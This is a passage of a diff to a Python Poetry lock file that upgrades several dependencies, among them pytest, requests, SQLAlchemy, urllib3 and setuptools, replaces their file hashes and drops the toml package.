"pygame-2.4.0-pp39-pypy39_pp73-manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:867cf19f1c7aa6f187a0a31b702f5668e935e700b46d94bd58e94ec8581cf081"}, + {file = "pygame-2.4.0-pp39-pypy39_pp73-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:5a93d368311d40827dc5f0cad2a0e9a8700c1b017346808cfdfd9ea98aee45df"}, + {file = "pygame-2.4.0.tar.gz", hash = "sha256:e3603e70e96ee30af1954ce57d4922a059402f368013e7138e90f1c03d185267"}, ] [[package]] @@ -1367,13 +1363,13 @@ hook-testing = ["execnet (>=1.5.0)", "psutil", "pytest (>=2.7.3)"] [[package]] name = "pyinstaller-hooks-contrib" -version = "2023.2" +version = "2023.3" description = "Community maintained hooks for PyInstaller" optional = false python-versions = ">=3.7" files = [ - {file = "pyinstaller-hooks-contrib-2023.2.tar.gz", hash = "sha256:7fb856a81fd06a717188a3175caa77e902035cc067b00b583c6409c62497b23f"}, - {file = "pyinstaller_hooks_contrib-2023.2-py2.py3-none-any.whl", hash = "sha256:e02c5f0ee3d4f5814588c2128caf5036c058ba764aaf24d957bb5311ad8690ad"}, + {file = "pyinstaller-hooks-contrib-2023.3.tar.gz", hash = "sha256:bb39e1038e3e0972420455e0b39cd9dce73f3d80acaf4bf2b3615fea766ff370"}, + {file = "pyinstaller_hooks_contrib-2023.3-py2.py3-none-any.whl", hash = "sha256:062ad7a1746e1cfc24d3a8c4be4e606fced3b123bda7d419f14fcf7507804b07"}, ] [[package]] @@ -1450,27 +1446,25 @@ resolved_reference = "43c0beda33d5f7939d2a434a873b36fc395f6204" [[package]] name = "pytest" -version = "6.2.5" +version = "7.3.1" description = "pytest: simple powerful testing with Python" optional = false -python-versions = ">=3.6" +python-versions = ">=3.7" files = [ - {file = "pytest-6.2.5-py3-none-any.whl", hash = "sha256:7310f8d27bc79ced999e760ca304d69f6ba6c6649c0b60fb0e04a4a77cacc134"}, - {file = "pytest-6.2.5.tar.gz", hash = "sha256:131b36680866a76e6781d13f101efb86cf674ebb9762eb70d3082b6f29889e89"}, + {file = "pytest-7.3.1-py3-none-any.whl", hash = "sha256:3799fa815351fea3a5e96ac7e503a96fa51cc9942c3753cda7651b93c1cfa362"}, + {file = "pytest-7.3.1.tar.gz", hash = "sha256:434afafd78b1d78ed0addf160ad2b77a30d35d4bdf8af234fe621919d9ed15e3"}, ] [package.dependencies] -atomicwrites = {version = ">=1.0", markers = "sys_platform == \"win32\""} -attrs = ">=19.2.0" colorama = {version = "*", markers = "sys_platform == \"win32\""} +exceptiongroup = {version = ">=1.0.0rc8", markers = "python_version < \"3.11\""} iniconfig = "*" packaging = "*" pluggy = ">=0.12,<2.0" -py = ">=1.8.2" -toml = "*" +tomli = {version = ">=1.0.0", markers = "python_version < \"3.11\""} [package.extras] -testing = ["argcomplete", "hypothesis (>=3.56)", "mock", "nose", "requests", "xmlschema"] +testing = ["argcomplete", "attrs (>=19.2.0)", "hypothesis (>=3.56)", "mock", "nose", "pygments (>=2.7.2)", "requests", "xmlschema"] [[package]] name = "pytest-timeout" @@ -1739,20 +1733,20 @@ files = [ [[package]] name = "requests" -version = "2.29.0" +version = "2.31.0" description = "Python HTTP for Humans." optional = false python-versions = ">=3.7" files = [ - {file = "requests-2.29.0-py3-none-any.whl", hash = "sha256:e8f3c9be120d3333921d213eef078af392fba3933ab7ed2d1cba3b56f2568c3b"}, - {file = "requests-2.29.0.tar.gz", hash = "sha256:f2e34a75f4749019bb0e3effb66683630e4ffeaf75819fb51bebef1bf5aef059"}, + {file = "requests-2.31.0-py3-none-any.whl", hash = "sha256:58cd2187c01e70e6e26505bca751777aa9f2ee0b7f4300988b709f44e013003f"}, + {file = "requests-2.31.0.tar.gz", hash = "sha256:942c5a758f98d790eaed1a29cb6eefc7ffb0d1cf7af05c3d2791656dbd6ad1e1"}, ] [package.dependencies] certifi = ">=2017.4.17" charset-normalizer = ">=2,<4" idna = ">=2.5,<4" -urllib3 = ">=1.21.1,<1.27" +urllib3 = ">=1.21.1,<3" [package.extras] socks = ["PySocks (>=1.5.6,!=1.5.7)"] @@ -1823,18 +1817,18 @@ tests = ["coverage[toml] (>=5.0.2)", "pytest"] [[package]] name = "setuptools" -version = "67.7.2" +version = "67.8.0" description = "Easily download, build, install, upgrade, and uninstall Python packages" optional = false python-versions = ">=3.7" files = [ - {file = "setuptools-67.7.2-py3-none-any.whl", hash = "sha256:23aaf86b85ca52ceb801d32703f12d77517b2556af839621c641fca11287952b"}, - {file = "setuptools-67.7.2.tar.gz", hash = "sha256:f104fa03692a2602fa0fec6c6a9e63b6c8a968de13e17c026957dd1f53d80990"}, + {file = "setuptools-67.8.0-py3-none-any.whl", hash = "sha256:5df61bf30bb10c6f756eb19e7c9f3b473051f48db77fddbe06ff2ca307df9a6f"}, + {file = "setuptools-67.8.0.tar.gz", hash = "sha256:62642358adc77ffa87233bc4d2354c4b2682d214048f500964dbe760ccedf102"}, ] [package.extras] docs = ["furo", "jaraco.packaging (>=9)", "jaraco.tidelift (>=1.4)", "pygments-github-lexers (==0.0.5)", "rst.linker (>=1.9)", "sphinx (>=3.5)", "sphinx-favicon", "sphinx-hoverxref (<2)", "sphinx-inline-tabs", "sphinx-lint", "sphinx-notfound-page (==0.8.3)", "sphinx-reredirects", "sphinxcontrib-towncrier"] -testing = ["build[virtualenv]", "filelock (>=3.4.0)", "flake8 (<5)", "flake8-2020", "ini2toml[lite] (>=0.9)", "jaraco.envs (>=2.2)", "jaraco.path (>=3.2.0)", "pip (>=19.1)", "pip-run (>=8.8)", "pytest (>=6)", "pytest-black (>=0.3.7)", "pytest-checkdocs (>=2.4)", "pytest-cov", "pytest-enabler (>=1.3)", "pytest-flake8", "pytest-mypy (>=0.9.1)", "pytest-perf", "pytest-timeout", "pytest-xdist", "tomli-w (>=1.0.0)", "virtualenv (>=13.0.0)", "wheel"] +testing = ["build[virtualenv]", "filelock (>=3.4.0)", "flake8-2020", "ini2toml[lite] (>=0.9)", "jaraco.envs (>=2.2)", "jaraco.path (>=3.2.0)", "pip (>=19.1)", "pip-run (>=8.8)", "pytest (>=6)", "pytest-black (>=0.3.7)", "pytest-checkdocs (>=2.4)", "pytest-cov", "pytest-enabler (>=1.3)", "pytest-mypy (>=0.9.1)", "pytest-perf", "pytest-ruff", "pytest-timeout", "pytest-xdist", "tomli-w (>=1.0.0)", "virtualenv (>=13.0.0)", "wheel"] testing-integration = ["build[virtualenv]", "filelock (>=3.4.0)", "jaraco.envs (>=2.2)", "jaraco.path (>=3.2.0)", "pytest", "pytest-enabler", "pytest-xdist", "tomli", "virtualenv (>=13.0.0)", "wheel"] [[package]] @@ -1861,87 +1855,90 @@ files = [ [[package]] name = "sqlalchemy" -version = "1.4.47" +version = "2.0.15" description = "Database Abstraction Library" optional = false -python-versions = "!=3.0.*,!=3.1.*,!=3.2.*,!=3.3.*,!=3.4.*,!=3.5.*,>=2.7" +python-versions = ">=3.7" files = [ - {file = "SQLAlchemy-1.4.47-cp27-cp27m-macosx_10_14_x86_64.whl", hash = "sha256:dcfb480bfc9e1fab726003ae00a6bfc67a29bad275b63a4e36d17fe7f13a624e"}, - {file = "SQLAlchemy-1.4.47-cp27-cp27m-manylinux_2_5_x86_64.manylinux1_x86_64.whl", hash = "sha256:28fda5a69d6182589892422c5a9b02a8fd1125787aab1d83f1392aa955bf8d0a"}, - {file = "SQLAlchemy-1.4.47-cp27-cp27m-win32.whl", hash = "sha256:45e799c1a41822eba6bee4e59b0e38764e1a1ee69873ab2889079865e9ea0e23"}, - {file = "SQLAlchemy-1.4.47-cp27-cp27m-win_amd64.whl", hash = "sha256:10edbb92a9ef611f01b086e271a9f6c1c3e5157c3b0c5ff62310fb2187acbd4a"}, - {file = "SQLAlchemy-1.4.47-cp27-cp27mu-manylinux_2_5_x86_64.manylinux1_x86_64.whl", hash = "sha256:7a4df53472c9030a8ddb1cce517757ba38a7a25699bbcabd57dcc8a5d53f324e"}, - {file = "SQLAlchemy-1.4.47-cp310-cp310-macosx_11_0_x86_64.whl", hash = "sha256:511d4abc823152dec49461209607bbfb2df60033c8c88a3f7c93293b8ecbb13d"}, - {file = "SQLAlchemy-1.4.47-cp310-cp310-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:dbe57f39f531c5d68d5594ea4613daa60aba33bb51a8cc42f96f17bbd6305e8d"}, - {file = "SQLAlchemy-1.4.47-cp310-cp310-manylinux_2_5_x86_64.manylinux1_x86_64.manylinux_2_12_x86_64.manylinux2010_x86_64.whl", hash = "sha256:ca8ab6748e3ec66afccd8b23ec2f92787a58d5353ce9624dccd770427ee67c82"}, - {file = "SQLAlchemy-1.4.47-cp310-cp310-manylinux_2_5_x86_64.manylinux1_x86_64.manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:299b5c5c060b9fbe51808d0d40d8475f7b3873317640b9b7617c7f988cf59fda"}, - {file = "SQLAlchemy-1.4.47-cp310-cp310-win32.whl", hash = "sha256:684e5c773222781775c7f77231f412633d8af22493bf35b7fa1029fdf8066d10"}, - {file = "SQLAlchemy-1.4.47-cp310-cp310-win_amd64.whl", hash = "sha256:2bba39b12b879c7b35cde18b6e14119c5f1a16bd064a48dd2ac62d21366a5e17"}, - {file = "SQLAlchemy-1.4.47-cp311-cp311-macosx_10_9_universal2.whl", hash = "sha256:795b5b9db573d3ed61fae74285d57d396829e3157642794d3a8f72ec2a5c719b"}, - {file = "SQLAlchemy-1.4.47-cp311-cp311-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:989c62b96596b7938cbc032e39431e6c2d81b635034571d6a43a13920852fb65"}, - {file = "SQLAlchemy-1.4.47-cp311-cp311-manylinux_2_5_x86_64.manylinux1_x86_64.manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:e3b67bda733da1dcdccaf354e71ef01b46db483a4f6236450d3f9a61efdba35a"}, - {file = "SQLAlchemy-1.4.47-cp311-cp311-win32.whl", hash = "sha256:9a198f690ac12a3a807e03a5a45df6a30cd215935f237a46f4248faed62e69c8"}, - {file = "SQLAlchemy-1.4.47-cp311-cp311-win_amd64.whl", hash = "sha256:03be6f3cb66e69fb3a09b5ea89d77e4bc942f3bf84b207dba84666a26799c166"}, - {file = "SQLAlchemy-1.4.47-cp36-cp36m-macosx_10_14_x86_64.whl", hash = "sha256:16ee6fea316790980779268da47a9260d5dd665c96f225d28e7750b0bb2e2a04"}, - {file = "SQLAlchemy-1.4.47-cp36-cp36m-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:557675e0befafa08d36d7a9284e8761c97490a248474d778373fb96b0d7fd8de"}, - {file = "SQLAlchemy-1.4.47-cp36-cp36m-manylinux_2_5_x86_64.manylinux1_x86_64.manylinux_2_12_x86_64.manylinux2010_x86_64.whl", hash = "sha256:bb2797fee8a7914fb2c3dc7de404d3f96eb77f20fc60e9ee38dc6b0ca720f2c2"}, - {file = "SQLAlchemy-1.4.47-cp36-cp36m-manylinux_2_5_x86_64.manylinux1_x86_64.manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:28297aa29e035f29cba6b16aacd3680fbc6a9db682258d5f2e7b49ec215dbe40"}, - {file = "SQLAlchemy-1.4.47-cp36-cp36m-win32.whl", hash = "sha256:998e782c8d9fd57fa8704d149ccd52acf03db30d7dd76f467fd21c1c21b414fa"}, - {file = "SQLAlchemy-1.4.47-cp36-cp36m-win_amd64.whl", hash = "sha256:dde4d02213f1deb49eaaf8be8a6425948963a7af84983b3f22772c63826944de"}, - {file = "SQLAlchemy-1.4.47-cp37-cp37m-macosx_10_15_x86_64.whl", hash = "sha256:e98ef1babe34f37f443b7211cd3ee004d9577a19766e2dbacf62fce73c76245a"}, - {file = "SQLAlchemy-1.4.47-cp37-cp37m-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:14a3879853208a242b5913f3a17c6ac0eae9dc210ff99c8f10b19d4a1ed8ed9b"}, - {file = "SQLAlchemy-1.4.47-cp37-cp37m-manylinux_2_5_x86_64.manylinux1_x86_64.manylinux_2_12_x86_64.manylinux2010_x86_64.whl", hash = "sha256:7120a2f72599d4fed7c001fa1cbbc5b4d14929436135768050e284f53e9fbe5e"}, - {file = "SQLAlchemy-1.4.47-cp37-cp37m-manylinux_2_5_x86_64.manylinux1_x86_64.manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:048509d7f3ac27b83ad82fd96a1ab90a34c8e906e4e09c8d677fc531d12c23c5"}, - {file = "SQLAlchemy-1.4.47-cp37-cp37m-win32.whl", hash = "sha256:6572d7c96c2e3e126d0bb27bfb1d7e2a195b68d951fcc64c146b94f088e5421a"}, - {file = "SQLAlchemy-1.4.47-cp37-cp37m-win_amd64.whl", hash = "sha256:a6c3929df5eeaf3867724003d5c19fed3f0c290f3edc7911616616684f200ecf"}, - {file = "SQLAlchemy-1.4.47-cp38-cp38-macosx_10_15_x86_64.whl", hash = "sha256:71d4bf7768169c4502f6c2b0709a02a33703544f611810fb0c75406a9c576ee1"}, - {file = "SQLAlchemy-1.4.47-cp38-cp38-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:dd45c60cc4f6d68c30d5179e2c2c8098f7112983532897566bb69c47d87127d3"}, - {file = "SQLAlchemy-1.4.47-cp38-cp38-manylinux_2_5_x86_64.manylinux1_x86_64.manylinux_2_12_x86_64.manylinux2010_x86_64.whl", hash = "sha256:0fdbb8e9d4e9003f332a93d6a37bca48ba8095086c97a89826a136d8eddfc455"}, - {file = "SQLAlchemy-1.4.47-cp38-cp38-manylinux_2_5_x86_64.manylinux1_x86_64.manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:8f216a51451a0a0466e082e163591f6dcb2f9ec182adb3f1f4b1fd3688c7582c"}, - {file = "SQLAlchemy-1.4.47-cp38-cp38-win32.whl", hash = "sha256:bd988b3362d7e586ef581eb14771bbb48793a4edb6fcf62da75d3f0f3447060b"}, - {file = "SQLAlchemy-1.4.47-cp38-cp38-win_amd64.whl", hash = "sha256:32ab09f2863e3de51529aa84ff0e4fe89a2cb1bfbc11e225b6dbc60814e44c94"}, - {file = "SQLAlchemy-1.4.47-cp39-cp39-macosx_11_0_x86_64.whl", hash = "sha256:07764b240645627bc3e82596435bd1a1884646bfc0721642d24c26b12f1df194"}, - {file = "SQLAlchemy-1.4.47-cp39-cp39-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:1e2a42017984099ef6f56438a6b898ce0538f6fadddaa902870c5aa3e1d82583"}, - {file = "SQLAlchemy-1.4.47-cp39-cp39-manylinux_2_5_x86_64.manylinux1_x86_64.manylinux_2_12_x86_64.manylinux2010_x86_64.whl", hash = "sha256:6b6d807c76c20b4bc143a49ad47782228a2ac98bdcdcb069da54280e138847fc"}, - {file = "SQLAlchemy-1.4.47-cp39-cp39-manylinux_2_5_x86_64.manylinux1_x86_64.manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:6a94632ba26a666e7be0a7d7cc3f7acab622a04259a3aa0ee50ff6d44ba9df0d"}, - {file = "SQLAlchemy-1.4.47-cp39-cp39-win32.whl", hash = "sha256:f80915681ea9001f19b65aee715115f2ad310730c8043127cf3e19b3009892dd"}, - {file = "SQLAlchemy-1.4.47-cp39-cp39-win_amd64.whl", hash = "sha256:fc700b862e0a859a37faf85367e205e7acaecae5a098794aff52fdd8aea77b12"}, - {file = "SQLAlchemy-1.4.47.tar.gz", hash = "sha256:95fc02f7fc1f3199aaa47a8a757437134cf618e9d994c84effd53f530c38586f"}, + {file = "SQLAlchemy-2.0.15-cp310-cp310-macosx_10_9_x86_64.whl", hash = "sha256:78303719c6f72af97814b0072ad18bee72e70adca8d95cf8fecd59c5e1ddb040"}, + {file = "SQLAlchemy-2.0.15-cp310-cp310-macosx_11_0_arm64.whl", hash = "sha256:9d810b4aacd5ef4e293aa4ea01f19fca53999e9edcfc4a8ef1146238b30bdc28"}, + {file = "SQLAlchemy-2.0.15-cp310-cp310-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:3fb5d09f1d51480f711b69fe28ad42e4f8b08600a85ab2473baee669e1257800"}, + {file = "SQLAlchemy-2.0.15-cp310-cp310-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:51b19887c96d405599880da6a7cbdf8545a7e78ec5683e46a43bac8885e32d0f"}, + {file = "SQLAlchemy-2.0.15-cp310-cp310-musllinux_1_1_aarch64.whl", hash = "sha256:d6b17cb86908e7f88be14007d6afe7d2ab11966e373044137f96a6a4d83eb21c"}, + {file = "SQLAlchemy-2.0.15-cp310-cp310-musllinux_1_1_x86_64.whl", hash = "sha256:df25052b92bd514357a9b370d74f240db890ea79aaa428fb893520e10ee5bc18"}, + {file = "SQLAlchemy-2.0.15-cp310-cp310-win32.whl", hash = "sha256:55ec62ddc0200b4fee94d11abbec7aa25948d5d21cb8df8807f4bdd3c51ba44b"}, + {file = "SQLAlchemy-2.0.15-cp310-cp310-win_amd64.whl", hash = "sha256:ae1d8deb391ab39cc8f0d5844e588a115ae3717e607d91482023917f920f777f"}, + {file = "SQLAlchemy-2.0.15-cp311-cp311-macosx_10_9_x86_64.whl", hash = "sha256:4670ce853cb25f72115a1bbe366ae13cf3f28fc5c87222df14f8d3d55d51816e"}, + {file = "SQLAlchemy-2.0.15-cp311-cp311-macosx_11_0_arm64.whl", hash = "sha256:cea7c4a3dfc2ca61f88a2b1ddd6b0bfbd116c9b1a361b3b66fd826034b833142"}, + {file = "SQLAlchemy-2.0.15-cp311-cp311-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:6f5784dfb2d45c19cde03c45c04a54bf47428610106197ed6e6fa79f33bc63d3"}, + {file = "SQLAlchemy-2.0.15-cp311-cp311-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:9b31ebde27575b3b0708673ec14f0c305c4564d995b545148ab7ac0f4d9b847a"}, + {file = "SQLAlchemy-2.0.15-cp311-cp311-musllinux_1_1_aarch64.whl", hash = "sha256:6b42913a0259267e9ee335da0c36498077799e59c5e332d506e72b4f32de781d"}, + {file = "SQLAlchemy-2.0.15-cp311-cp311-musllinux_1_1_x86_64.whl", hash = "sha256:6a3f8020e013e9b3b7941dcf20b0fc8f7429daaf7158760846731cbd8caa5e45"}, + {file = "SQLAlchemy-2.0.15-cp311-cp311-win32.whl", hash = "sha256:88ab245ed2c96265441ed2818977be28c840cfa5204ba167425d6c26eb67b7e7"}, + {file = "SQLAlchemy-2.0.15-cp311-cp311-win_amd64.whl", hash = "sha256:5cc48a7fda2b5c5b8860494d6c575db3a101a68416492105fed6591dc8a2728a"}, + {file = "SQLAlchemy-2.0.15-cp37-cp37m-macosx_10_9_x86_64.whl", hash = "sha256:f6fd3c88ea4b170d13527e93be1945e69facd917661d3725a63470eb683fbffe"}, + {file = "SQLAlchemy-2.0.15-cp37-cp37m-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:1e885dacb167077df15af2f9ccdacbd7f5dd0d538a6d74b94074f2cefc7bb589"}, + {file = "SQLAlchemy-2.0.15-cp37-cp37m-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:201a99f922ac8c780b3929128fbd9df901418877c70e160e19adb05665e51c31"}, + {file = "SQLAlchemy-2.0.15-cp37-cp37m-musllinux_1_1_aarch64.whl", hash = "sha256:e17fdcb8971e77c439113642ca8861f9465e21fc693bd3916654ceef3ac26883"}, + {file = "SQLAlchemy-2.0.15-cp37-cp37m-musllinux_1_1_x86_64.whl", hash = "sha256:db269f67ed17b07e80aaa8fba1f650c0d84aa0bdd9d5352e4ac38d5bf47ac568"}, + {file = "SQLAlchemy-2.0.15-cp37-cp37m-win32.whl", hash = "sha256:994a75b197662e0608b6a76935d7c345f7fd874eac0b7093d561033db61b0e8c"}, + {file = "SQLAlchemy-2.0.15-cp37-cp37m-win_amd64.whl", hash = "sha256:4d61731a35eddb0f667774fe15e5a4831e444d066081d1e809e1b8a0e3f97cae"}, + {file = "SQLAlchemy-2.0.15-cp38-cp38-macosx_10_9_x86_64.whl", hash = "sha256:f7f994a53c0e6b44a2966fd6bfc53e37d34b7dca34e75b6be295de6db598255e"}, + {file = "SQLAlchemy-2.0.15-cp38-cp38-macosx_11_0_arm64.whl", hash = "sha256:79bfe728219239bdc493950ea4a4d15b02138ecb304771f9024d0d6f5f4e3706"}, + {file = "SQLAlchemy-2.0.15-cp38-cp38-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:1d6320a1d175447dce63618ec997a53836de48ed3b44bbe952f0b4b399b19941"}, + {file = "SQLAlchemy-2.0.15-cp38-cp38-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:6f80a9c9a9af0e4bd5080cc0955ce70274c28e9b931ad7e0fb07021afcd32af6"}, + {file = "SQLAlchemy-2.0.15-cp38-cp38-musllinux_1_1_aarch64.whl", hash = "sha256:4a75fdb9a84072521bb2ebd31eefe1165d4dccea3039dda701a864f4b5daa17f"}, + {file = "SQLAlchemy-2.0.15-cp38-cp38-musllinux_1_1_x86_64.whl", hash = "sha256:21c89044fc48a25c2184eba332edeffbbf9367913bb065cd31538235d828f06f"}, + {file = "SQLAlchemy-2.0.15-cp38-cp38-win32.whl", hash = "sha256:1a0754c2d9f0c7982bec0a31138e495ed1f6b8435d7e677c45be60ec18370acf"}, + {file = "SQLAlchemy-2.0.15-cp38-cp38-win_amd64.whl", hash = "sha256:bc5c2b0da46c26c5f73f700834f871d0723e1e882641932468d56833bab09775"}, + {file = "SQLAlchemy-2.0.15-cp39-cp39-macosx_10_9_x86_64.whl", hash = "sha256:670ecf74ee2e70b917028a06446ad26ff9b1195e84b09c3139c215123d57dc30"}, + {file = "SQLAlchemy-2.0.15-cp39-cp39-macosx_11_0_arm64.whl", hash = "sha256:d14282bf5b4de87f922db3c70858953fd081ef4f05dba6cca3dd705daffe1cc9"}, + {file = "SQLAlchemy-2.0.15-cp39-cp39-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:256b2b9660e51ad7055a9835b12717416cf7288afcf465107413917b6bb2316f"}, + {file = "SQLAlchemy-2.0.15-cp39-cp39-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:810199d1c5b43603a9e815ae9487aef3ab1ade7ed9c0c485e12519358929fbfe"}, + {file = "SQLAlchemy-2.0.15-cp39-cp39-musllinux_1_1_aarch64.whl", hash = "sha256:536c86ec81ca89291d533ff41a3a05f9e4e88e01906dcee0751fc7082f3e8d6c"}, + {file = "SQLAlchemy-2.0.15-cp39-cp39-musllinux_1_1_x86_64.whl", hash = "sha256:435f6807fa6a0597d84741470f19db204a7d34625ea121abd63e8d95f673f0c4"}, + {file = "SQLAlchemy-2.0.15-cp39-cp39-win32.whl", hash = "sha256:da7381a883aee20b7d2ffda17d909b38134b6a625920e65239a1c681881df800"}, + {file = "SQLAlchemy-2.0.15-cp39-cp39-win_amd64.whl", hash = "sha256:788d1772fb8dcd12091ca82809eef504ce0f2c423e45284bc351b872966ff554"}, + {file = "SQLAlchemy-2.0.15-py3-none-any.whl", hash = "sha256:933d30273861fe61f014ce2a7e3c364915f5efe9ed250ec1066ca6ea5942c0bd"}, + {file = "SQLAlchemy-2.0.15.tar.gz", hash = "sha256:2e940a8659ef870ae10e0d9e2a6d5aaddf0ff6e91f7d0d7732afc9e8c4be9bbc"}, ] [package.dependencies] -greenlet = {version = "!=0.4.17", markers = "python_version >= \"3\" and (platform_machine == \"win32\" or platform_machine == \"WIN32\" or platform_machine == \"AMD64\" or platform_machine == \"amd64\" or platform_machine == \"x86_64\" or platform_machine == \"ppc64le\" or platform_machine == \"aarch64\")"} +greenlet = {version = "!=0.4.17", markers = "platform_machine == \"win32\" or platform_machine == \"WIN32\" or platform_machine == \"AMD64\" or platform_machine == \"amd64\" or platform_machine == \"x86_64\" or platform_machine == \"ppc64le\" or platform_machine == \"aarch64\""} +typing-extensions = ">=4.2.0" [package.extras] aiomysql = ["aiomysql", "greenlet (!=0.4.17)"] aiosqlite = ["aiosqlite", "greenlet (!=0.4.17)", "typing-extensions (!=3.10.0.1)"] asyncio = ["greenlet (!=0.4.17)"] -asyncmy = ["asyncmy (>=0.2.3,!=0.2.4)", "greenlet (!=0.4.17)"] -mariadb-connector = ["mariadb (>=1.0.1,!=1.1.2)"] +asyncmy = ["asyncmy (>=0.2.3,!=0.2.4,!=0.2.6)", "greenlet (!=0.4.17)"] +mariadb-connector = ["mariadb (>=1.0.1,!=1.1.2,!=1.1.5)"] mssql = ["pyodbc"] mssql-pymssql = ["pymssql"] mssql-pyodbc = ["pyodbc"] -mypy = ["mypy (>=0.910)", "sqlalchemy2-stubs"] -mysql = ["mysqlclient (>=1.4.0)", "mysqlclient (>=1.4.0,<2)"] +mypy = ["mypy (>=0.910)"] +mysql = ["mysqlclient (>=1.4.0)"] mysql-connector = ["mysql-connector-python"] -oracle = ["cx-oracle (>=7)", "cx-oracle (>=7,<8)"] +oracle = ["cx-oracle (>=7)"] +oracle-oracledb = ["oracledb (>=1.0.1)"] postgresql = ["psycopg2 (>=2.7)"] postgresql-asyncpg = ["asyncpg", "greenlet (!=0.4.17)"] -postgresql-pg8000 = ["pg8000 (>=1.16.6,!=1.29.0)"] +postgresql-pg8000 = ["pg8000 (>=1.29.1)"] +postgresql-psycopg = ["psycopg (>=3.0.7)"] postgresql-psycopg2binary = ["psycopg2-binary"] postgresql-psycopg2cffi = ["psycopg2cffi"] -pymysql = ["pymysql", "pymysql (<1)"] +pymysql = ["pymysql"] sqlcipher = ["sqlcipher3-binary"] [[package]] name = "sqlalchemy-utc" -version = "0.11.0" +version = "0.14.0" description = "SQLAlchemy type to store aware datetime values" optional = false python-versions = "*" files = [ - {file = "SQLAlchemy-Utc-0.11.0.tar.gz", hash = "sha256:62e1a62ce7a2379a4655a9edb21a9bc1b292383f6f774a713dd5068dd152918a"}, - {file = "SQLAlchemy_Utc-0.11.0-py2.py3-none-any.whl", hash = "sha256:b0bdda2d442d40b02559e2a7ad28f40e867abd0f8c4f513fefc63c8a02935158"}, + {file = "SQLAlchemy-Utc-0.14.0.tar.gz", hash = "sha256:8e041624595b66d7b1d5ea8b6de486df5c1b9352697f3b24f862f0ded56cd7aa"}, + {file = "SQLAlchemy_Utc-0.14.0-py2.py3-none-any.whl", hash = "sha256:d2379eed5cce372128b5e744ce382decd262b2c742ab31f7f22ca11c6647f60b"}, ] [package.dependencies] @@ -1992,17 +1989,6 @@ files = [ {file = "terminaltables-3.1.10.tar.gz", hash = "sha256:ba6eca5cb5ba02bba4c9f4f985af80c54ec3dccf94cfcd190154386255e47543"}, ] -[[package]] -name = "toml" -version = "0.10.2" -description = "Python Library for Tom's Obvious, Minimal Language" -optional = false -python-versions = ">=2.6, !=3.0.*, !=3.1.*, !=3.2.*" -files = [ - {file = "toml-0.10.2-py2.py3-none-any.whl", hash = "sha256:806143ae5bfb6a3c6e736a764057db0e6a0e05e338b5630894a5f779cabb4f9b"}, - {file = "toml-0.10.2.tar.gz", hash = "sha256:b3bda1d108d5dd99f4a20d24d9c348e91c4db7ab1b749200bded2f839ccbe68f"}, -] - [[package]] name = "tomli" version = "2.0.1" @@ -2079,30 +2065,31 @@ files = [ [[package]] name = "typing-extensions" -version = "4.5.0" +version = "4.6.3" description = "Backported and Experimental Type Hints for Python 3.7+" optional = false python-versions = ">=3.7" files = [ - {file = "typing_extensions-4.5.0-py3-none-any.whl", hash = "sha256:fb33085c39dd998ac16d1431ebc293a8b3eedd00fd4a32de0ff79002c19511b4"}, - {file = "typing_extensions-4.5.0.tar.gz", hash = "sha256:5cb5f4a79139d699607b3ef622a1dedafa84e115ab0024e0d9c044a9479ca7cb"}, + {file = "typing_extensions-4.6.3-py3-none-any.whl", hash = "sha256:88a4153d8505aabbb4e13aacb7c486c2b4a33ca3b3f807914a9b4c844c471c26"}, + {file = "typing_extensions-4.6.3.tar.gz", hash = "sha256:d91d5919357fe7f681a9f2b5b4cb2a5f1ef0a1e9f59c4d8ff0d3491e05c0ffd5"}, ] [[package]] name = "urllib3" -version = "1.26.15" +version = "2.0.3" description = "HTTP library with thread-safe connection pooling, file post, and more." optional = false -python-versions = ">=2.7, !=3.0.*, !=3.1.*, !=3.2.*, !=3.3.*, !=3.4.*, !=3.5.*" +python-versions = ">=3.7" files = [ - {file = "urllib3-1.26.15-py2.py3-none-any.whl", hash = "sha256:aa751d169e23c7479ce47a0cb0da579e3ede798f994f5816a74e4f4500dcea42"}, - {file = "urllib3-1.26.15.tar.gz", hash = "sha256:8a388717b9476f934a21484e8c8e61875ab60644d29b9b39e11e4b9dc1c6b305"}, + {file = "urllib3-2.0.3-py3-none-any.whl", hash = "sha256:48e7fafa40319d358848e1bc6809b208340fafe2096f1725d05d67443d0483d1"}, + {file = "urllib3-2.0.3.tar.gz", hash = "sha256:bee28b5e56addb8226c96f7f13ac28cb4c301dd5ea8a6ca179c0b9835e032825"}, ] [package.extras] -brotli = ["brotli (>=1.0.9)", "brotlicffi (>=0.8.0)", "brotlipy (>=0.6.0)"] -secure = ["certifi", "cryptography (>=1.3.4)", "idna (>=2.0.0)", "ipaddress", "pyOpenSSL (>=0.14)", "urllib3-secure-extra"] -socks = ["PySocks (>=1.5.6,!=1.5.7,<2.0)"] +brotli = ["brotli (>=1.0.9)", "brotlicffi (>=0.8.0)"] +secure = ["certifi", "cryptography (>=1.9)", "idna (>=2.0.0)", "pyopenssl (>=17.1.0)", "urllib3-secure-extra"] +socks = ["pysocks 